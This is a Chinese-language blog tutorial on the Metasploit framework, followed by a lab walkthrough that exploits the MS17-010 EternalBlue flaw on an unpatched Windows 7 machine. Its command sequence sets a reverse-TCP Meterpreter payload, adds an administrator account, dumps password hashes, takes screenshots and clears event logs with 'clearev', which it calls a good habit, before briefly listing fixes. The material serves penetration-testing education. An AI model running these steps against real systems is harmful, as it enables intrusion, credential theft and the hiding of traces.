Metasploit渗透框架介绍及永恒之蓝复现

news2025/4/6 17:47:51

Metasploit渗透框架介绍及永恒之蓝复现

  • 一、Metasploit渗透框架介绍
    • 1.1 名词解释
    • 1.2 MSF简介
    • 1.3 MSF框架结构
    • 1.4 MSF命令汇总
      • 1.4.1 常用命令
      • 1.4.2 基本命令
    • 1.4.3 Exploits模块
      • 1.4.4 漏洞名称规则
    • 1.5 MSF模块介绍
      • 1.5.1 auxiliary(辅助模块)
      • 1.5.2 exploits(漏洞利用模块)
      • 1.5.3 payloads(攻击载荷)
      • 1.5.4 post(后渗透阶段模块)
      • 1.5.5 encoders(编码器模块)
      • 1.5.6 evasion(躲避模块)
      • 1.5.7 nops(空指令模块)
  • 二、Windows下的MS17-010(永恒之蓝)漏洞分析与复现
    • 2.1 永恒之蓝
    • 2.2 漏洞原理
    • 2.3 影响版本
    • 2.4 复现环境
    • 2.5 攻击流程
    • 2.6 漏洞复现
    • 2.7 永恒之蓝漏洞解决办法
    • 2.8 参考

一、Metasploit渗透框架介绍

1.1 名词解释

  • POC:Proof of Concept,概念证明,用来证明漏洞存在的一段代码,没有攻击性;
  • EXP:Exploit,利用,利用系统漏洞进行攻击的动作、方式、方法,具有攻击性;
  • Payload:有效载荷,指在Exploit执行成功后,正在在系统进行执行的代码或指令;
  • ShellCode:一段用于利用漏洞而执行的代码,为16进制的机器码,由于其建立正向/反向shell而得名;

1.2 MSF简介

  • The Metasploit Framework 的简称。MSF高度模块化,即框架由多个module组成,全球最受欢迎的渗透测试工具之一;
  • 是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行shellcode,并保持持续更新;
  • metasploit涵盖了渗透测试中全过程,用户可以在框架下利用现有的payload进行一系列的渗透测试;

1.3 MSF框架结构

kali-metasploit框架目录路径:/usr/share/metasploit-framework

在这里插入图片描述

  • data:包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件;
  • documention:包含框架的可用文档;
  • lib:metasploit的库文件夹;
  • plugins:用来存放metasploit插件;
  • scripts:用来存放metasploit的脚本,包括metepreter及其脚本;
  • tools:存放多种的命令行实用程序;
  • modules:存储metasploit的模块文件;
kali-metasploit版本及更新
#查看版本
msfconsole -v
#更新
apt-get update
apt-get install metasploit-framework

在这里插入图片描述

启动msfconsole
  • Msfconsole是metasploit框架用户接口。通过该接口可以实用metasploit中的所有模块;
  • Msfconsole主要用于:
    管理metasploit数据库;
    管理会话;
    配置启动metasploit模块;
    在这里插入图片描述

1.4 MSF命令汇总

1.4.1 常用命令

命令介绍
show exploits查看所有可用的渗透攻击程序代码;
show auxiliary查看所有可用的辅助攻击工具;
show options/advanced查看该模块可用选项;
show payloads查看该模块适用的所有有效载荷;
show targets查看该模块适用的攻击目标类型;
search xxx根据关键字搜索xxx模块;
info显示某模块的详细信息;
use xxx使用xxx渗透攻击模块;
back回退
set/unset设置/禁用模块中的某个参数;
setg/unsetg设置/禁用适用于所有模块的全局参数;

1.4.2 基本命令

命令介绍
?执行?命令:帮助菜单
search搜索模块名和描述。
use使用命令
back从当前环境返回。
Banner命令,显示一个MSF的banner。
color颜色转换
connect连接一个主机
exit退出MSF
info显示一个或多个模块的信息
irb进入irb脚本模式。
jobs显示和管理作业(和windows任务管理器的进程作用一样)
kill杀死一个作业(和结束进程的作用一样)。
loadpath加载一个模块的路径。
quit退出MSF。
load加载一个插件。
load加载一个插件。
route查看一个会话的路由信息。
save保存动作
set给一个变量赋值
show显示给所有类型的模块
setg把一个赋值给全局变量,例如上述set设置的IP,就会用到其他攻击模块的RHOST中
sleep在限定的秒数内什么也不做
unload卸载一个模块
unset解出一个或多个变量。
unsetg解出一个或多个全局变量
version显示MSF和控制台库版本

1.4.3 Exploits模块

命令介绍
RHOST目标主机IP地址
RPORT目标主机连接端口
Payload有效的载荷,成功后返回shell
LHOST攻击者的IP地址
LPORT攻击者的端

1.4.4 漏洞名称规则

命令介绍
shell_find_tag在一个已建立的连接上创建一个shell
shell_reverse_tcp反向连接到攻击者主机并创建一个shell
bind_tcp监听一个tcp连接
reverse_tcp反向建立tcp连接
reverse_http通过HTTP隧道通信并创建一个新用户添加到管理组
add_user创建一个新用户并添加到管理组
xxx_ipv6_tcp基于IPV6
xxx_nonx_tcpno execute或win7(NX是应用在CPU的一种可以防止缓冲区溢出的技术)
xxx_ord_tcp有序payload
xxx_tcp_allports在所有可能的端口

1.5 MSF模块介绍

  • 模块是通过metasploit框架装载集成对外提供最核心的渗透测试功能实现代码;
  • MSF所有的漏洞测试都是基于模块;

1.5.1 auxiliary(辅助模块)

  • 辅助渗透:端口扫描、密码爆破、漏洞验证等
  • 用于辅助操作的模块,辅助模块能在渗透之前得到目标系统丰富的情报信息,从而发起更具有攻击性的攻击行为;
  • 例如:针对各种网络服务扫描与查点、网络扫描、枚举、漏洞扫描、口令破解、模糊测试、爬虫遍历、数据提取等;
  • 此外,辅助模块中还包括一些无需加载攻击载荷,同时往往不是取得目标系统远程控制权的渗透攻击,如拒绝服务攻击;

1.5.2 exploits(漏洞利用模块)

  • 包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。命名规则:操作系统/各种应用协议分类;
  • 利用漏洞和传递有效负载的模块。利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对目标系统访问控制权的代码组件;
  • 有远程漏洞利用、本地漏洞利用、权限提升漏洞利用、客户端漏洞利用、web应用程序漏洞利用和许多其他漏洞;

1.5.3 payloads(攻击载荷)

  • 主要是攻击成功后在目标机器执行的代码,比如反弹shell代码
  • 用于在利用期间执行操作的模块。攻击载荷是在渗透成功后在目标系统运行的一段植入代码,通常是为渗透攻击者打开在目标系统上的控制会话连接。在传统的渗透代码开发中,攻击载荷只是一段简单的ShellCode代码。例如:建立Meterpreter会话、反向shell、执行命令、下载和执行程序等;

1.5.4 post(后渗透阶段模块)

  • 漏洞利用成功后获得meterpreter之后,向目标发送到的一些功能性指令,如:提权等;
  • 用于在拿到权限后进行渗透利用操作的模块。例如凭证/哈希转储、本地权限提升、后门安装、敏感数据提取、网络流量隧道(代理)、键盘记录、屏幕捕获和许多其他操作;

1.5.5 encoders(编码器模块)

  • 主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统;
  • 用于有效负载编码和加密的模块,例如 base64 、 XOR 、 shikata_ga_nai 等。这有助于混淆以规避防病毒或 NIDS (网络入侵检测系统)、 EDR (端点检测和响应)等防御。

1.5.6 evasion(躲避模块)

  • 用来生成免杀payload
  • 用于规避防御的模块,例如防病毒规避、 AppLocker 绕过、软件限制策略 (SRP) 绕过等。

1.5.7 nops(空指令模块)

  • 空指令就是空操作,提高paylaod稳定性及维持大小
  • 用于生成无害、良性的“无操作”指令的模块,例如用于填充目的、在利用期间在内存中滑动等。用来在攻击载荷中添加空指令区,以提高攻击可靠性的组件。
  • 是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令。
  • 在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行Shellcode时,有一个较大的安全着陆区,从而避免受到内存地址随机化、返回地址计算偏差等原因造成的Shellcode执行失败,从而提高渗透攻击的可靠性。

二、Windows下的MS17-010(永恒之蓝)漏洞分析与复现

2.1 永恒之蓝

  • 永恒之蓝漏洞(MS17-010),它的爆发源于 WannaCry 勒索病毒的诞生,该病毒是不法分子利用美国国家安全局泄露的漏洞 “EternalBlue”(永恒之蓝)进行改造而成 ,“永恒之蓝”是利用Windows系统的SMB漏洞来获取Windows系统的最高权限。
    3、影响版本:
    目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

2.2 漏洞原理

  • 永恒之蓝漏洞通过 TCP 的445和139端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机。只要用户主机开机联网,即可通过该漏洞控制用户的主机。不法分子就能在其电脑或服务器中植入勒索病毒、窃取用户隐私、远程控制木马等恶意程序。
  • 补充:
    “445端口是TCP共享服务 445端口它将尝试同时连接到端口139和445。如果端口445有响应,它将向端口139发送TCPRST数据包,以断开并继续与端口455的通信;当端口445没有响应时,使用端口139。”
    “139 NetBIOS File and Print Sharing 通过这个端口进入的连接试图获得NetBIOS/SMB服务。这个协议被用于Windows"文件和打印机共享"和SAMBA。在Internet上共享自己的硬盘可能是最常见的问题。139属于TCP协议。”

2.3 影响版本

目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

2.4 复现环境

  • 攻击机:kali-Linux-2022.2(IP:192.168.50.133/24)
  • 靶机:Windows 7(IP:192.168.50.159/24)
  • kali-Linux-2022.2镜像下载地址:ttps://www.kali.org/get-kali/#kali-bare-metal
  • Windows 7镜像下载地址:https://msdn.itellyou.cn/
  • kali-Linux-2022.2和Windows 7能够相互ping通,Windows 7靶- 机关闭防火墙,开启445端口(默认端口开启),Windows 7靶机不要打补丁

2.5 攻击流程

Metasploit攻击流程参考:

Metasploit进行渗透攻击的基本步骤:
1、 使用nmap进行端口扫描
2、 使用search命令查找相关模块
3、 使用use调度模块
4、 使用info查看模块信息
5、 选择payload作为攻击
6、 设置攻击参数
7、 渗透攻击
8、后渗透攻击

2.6 漏洞复现

1、使用kali自带的nmap对靶机进行端口扫描,扫描到445端口处于开放状态
nmap 192.168.50.159
在这里插入图片描述
2、启动kali自带的msf,显示msf6>后说明已经进入msf了
msfconsole
在这里插入图片描述

3、搜寻永恒之蓝漏洞(MS17-010)可使用的攻击模块
search ms17-010
在这里插入图片描述
4、使用相应模块auxiliary/scanner/smb/smb_ms17_010对靶机进行验证,验证靶机是否存在永恒之蓝漏洞(MS17-010),可直接使用模块前面对应的数字,效果相同
use 3
在这里插入图片描述
5、查询配置,yes 全部需要手动配置,配置已经存在的,可以使用它给的默认配置也可以对该配置进行更改,no 就无需理会
show options
在这里插入图片描述
我这里只需配置RHOSTS(靶机IP地址)就行了,其他默认
set rhosts 192.168.50.159
在这里插入图片描述
配置有效载荷,该步的作用是攻击机扫描完后,使靶机反弹回一个会话给攻击机建立连接
set payload windows/x64/meterpreter/reverse_tcp
在这里插入图片描述
6、使用exploit或run命令进行攻击,显示靶机存在永恒之蓝漏洞(MS17-010)
exploit/run
在这里插入图片描述
7、正式开始攻击。换用攻击模块exploit/windows/smb/ms17_010_eternalblue对应前面的数字为0(我的此攻击模块对应前面的数字是0)
use 0
在这里插入图片描述
重复第5步步骤,注意:执行show options命令后查看到yes对应的地方如果是空的需要全部配上;

8.使用exploit或run命令进行攻击,这时靶机会反弹一个会话,然后可以进行下一步操作,比如查看靶机版本信息或者获取靶机的shell权限等
run
在这里插入图片描述9、对靶机进行一系列操作
查看系统信息
sysinfo
在这里插入图片描述
反弹shell
shell
在这里插入图片描述
可以创建用户
net user xxxx 1234 /add(xxxx用户名 1234密码)
net localgroup administrators xxxx /add (将用户设置为管理员权限)
net user
在这里插入图片描述
得到账户hash,解码可以得到密码
hashdump
在这里插入图片描述
找到显示的路径可以看到受害者屏幕截图
screenshot
在这里插入图片描述
显示成功
在这里插入图片描述
记得保持清除日志的好习惯
clearev

2.7 永恒之蓝漏洞解决办法

1、开启防火墙
2、对系统进行升级或者打补丁
3、关闭相应的端口

2.8 参考

  1. https://zhuanlan.zhihu.com/p/192694535?utm_id=0
  2. http://tttang.com/archive/1432/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/163201.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Open3D 泊松盘网格采样(Python版本)

文章目录 一、简介二、实现代码三、实现效果参考资料一、简介 在图形的许多应用中,特别是在渲染中,从蓝色噪声分布生成样本是很重要的。然而,现有的有效技术不容易推广到二维以外。不过泊松盘采样是个例外,它允许在O(N)时间内生成泊松盘样本,而且该方法很容易在任意维度上…

分布式CAP和BASE理论学习笔记

参考至:https://blog.csdn.net/solihawk/article/details/124442443 1. CAP理论 CAP理论是计算机科学家Eric Brewer在2000年提出的理论猜想,在2002年被证明并成为分布式计算领域公认的定理,其理论的基本观念是,在分布式系统中不…

加密算法 AES和RSA

一,加密(一)加密基础?通过互联网发送数据,数据可能会被第三者恶意窃听,造成损失。因此需要给重要的数据进行加密,加密后的数据被称为“密文”。接收方通过解除加密或得原本的数据,把…

人工智能卷积算法

文章目录前言数字信号处理与卷积运算卷积公式与计算过程边缘卷积计算与0填充NumPy卷积函数二维矩阵卷积计算图像卷积应用实例总结前言 卷积运算实际上是一种常见的数学方法,与加法,乘法等运算类似,都是由两个输入的到一个输出。不同的是&…

迷宫问题---数据结构实践作业

迷宫问题—数据结构实践作业 ✅作者简介:大家好,我是新小白2022,让我们一起学习,共同进步吧🏆 📃个人主页:新小白2022的CSDN博客 🔥系列专栏:算法与数据结构 💖如果觉得博…

什么是HAL库和标准库,区别在哪里?

参考文章https://blog.csdn.net/u012846795/article/details/122227823 参考文章 https://zhuanlan.zhihu.com/p/581798453 STM32的三种开发方式 通常新手在入门STM32的时候,首先都要先选择一种要用的开发方式,不同的开发方式会导致你编程的架构是完全…

Java 面向对象程序设计 消息、继承与多态实验 课程设计研究报告

代码:Java计算机课程设计面向对象程序设计对战游戏SwingGUI界面-Java文档类资源-CSDN文库 一、课程设计内容 一个游戏中有多种角色(Character),例如:国王(King)、皇后(Queen)、骑士&#xff0…

【Linux多线程】

Linux多线程Linux线程概念什么是线程线程的优点线程的缺点线程异常线程用途Linux进程VS线程进程和线程进程的多个线程共享Linux线程控制POSIX线程库线程创建线程等待线程终止分离线程线程ID及进程地址空间布局Linux线程概念 什么是线程 在一个程序里的一个执行路线就叫做线程…

JavaScript 如何正确的分析报错信息

文章目录前言一、报错类型1.控制台报错2.终端报错二、错误追查总结前言 摸爬滚打了这么长时间…总结了一些排查错误的经验, 总的来说, 这是一篇JavaScript新手向文章. 里面会有些不那么系统性的, 呃, 知识? 一、报错类型 报错信息该怎么看, 怎么根据信息快速的追查错误. 1.…

瑞吉外卖项目

技术选型: 1、JAVA版本:JDK11 2、数据库:mysql5.7 Navicat 3、后端框架:SpringBoot SpringMVC MyBatisPlus 4、工具类:发邮件工具类、生成验证码工具类 5、项目优化:Nginx、Redis、读写分离 项目来…

2022. 12 青少年机器人技术等级考试理论综合试卷(五级)

2022.年12月青少年机器人技术等级考试理论综合试卷(五级) 分数: 100 题数: 30 一、 单选题(共 20 题, 共 80 分) 1.下列程序执行后,串口监视器显示的相应内容是? ( ) A.1 B.2 C.4 D.…

WPF绑定(Binding)下的数据验证IDataErrorInfo

绑定下的数据验证 WPF中Binding数据校验、并捕获异常信息的三种方式讲到了三种方式,其中使用ValidatinRule的方式比较推荐,但是如果一个类中有多个属性,要为每个属性都要声明一个ValidatinRule,这样做非常麻烦。可以让类继承自ID…

【High 翻天】Higer-order Networks with Battiston Federico (8)

目录传播与社会动力学(2)Opinion and cultural dynamicsVoter modelMajority modelsContinuous models of opinion dynamicsCultural dynamics传播与社会动力学(2) 在本节将讨论一些观点和文化动力学模型,它们基于物理…

【JavaSE】反射

一、概念反射是在运行期间,动态获取对象的属性和方法二、相关的类在Java的反射里主要有以下几个类:Class类,这是反射的起源,反射必须要先获取Class对象,其次是Field类,当我们需要通过反射获取私有字段时就需…

老杨说运维 | 2023,浅谈智能运维趋势(一)

(文末附视频回顾,一键直达精彩内容) 前言: 2022年,是经济被影响的一年,这一年无论是企业还是个人经济形势都呈下滑趋势,消费降级状态或许不会因为2022的结束而改观。 全球经济紧缩的状态下&am…

不仅会编程还要会英语(博主英语小笔记)1.1名词

目录 1-1名词的概念和分类 1、名词的概念 2.名词根据其意义可以分为专有名词和普通名词 (1)专有名词: (2)普通名词: 1-1名词的概念和分类 1、名词的概念 名词是表示人、动物、地点、物品以…

字符串常用函数介绍及模拟实现

🐎作者的话 本文介绍字符串常用的函数如何使用及其模拟实现~ 跳跃式目录strlen介绍strcpy介绍strcat介绍strcmp介绍strncpy介绍strncat介绍strncmp介绍strstr介绍strchr介绍strrchr介绍memcpy介绍memmove介绍memcmp介绍memset介绍strtok介绍strlen介绍 函数原型&…

GO语言配置和基础语法应用(二)

Go 语言结构 在我们开始学习 Go 编程语言的基础构建模块前,让我们先来了解 Go 语言最简单程序的结构。 Go Hello World 实例 Go 语言的基础组成有以下几个部分: 包声明引入包函数变量语句 & 表达式注释 接下来让我们来看下简单的代码 package ma…

Allegro如何导出placement操作指导

Allegro如何导出placement操作指导 在做PCB布局的时候,有时需要导出和导入Placement,placement文件是板上所有器件的坐标以及所在层面的文件 具体操作如下 导出placement文件,选择File

实现用户进程

文章目录前言前置知识实验操作实验一实验二前言 博客记录《操作系统真象还原》第十一章实验的操作~ 实验环境:ubuntu18.04VMware , Bochs下载安装 实验内容: 定义并初始化 TSS。实现用户进程。 前置知识 TSS 简介 TSS,即 Tas…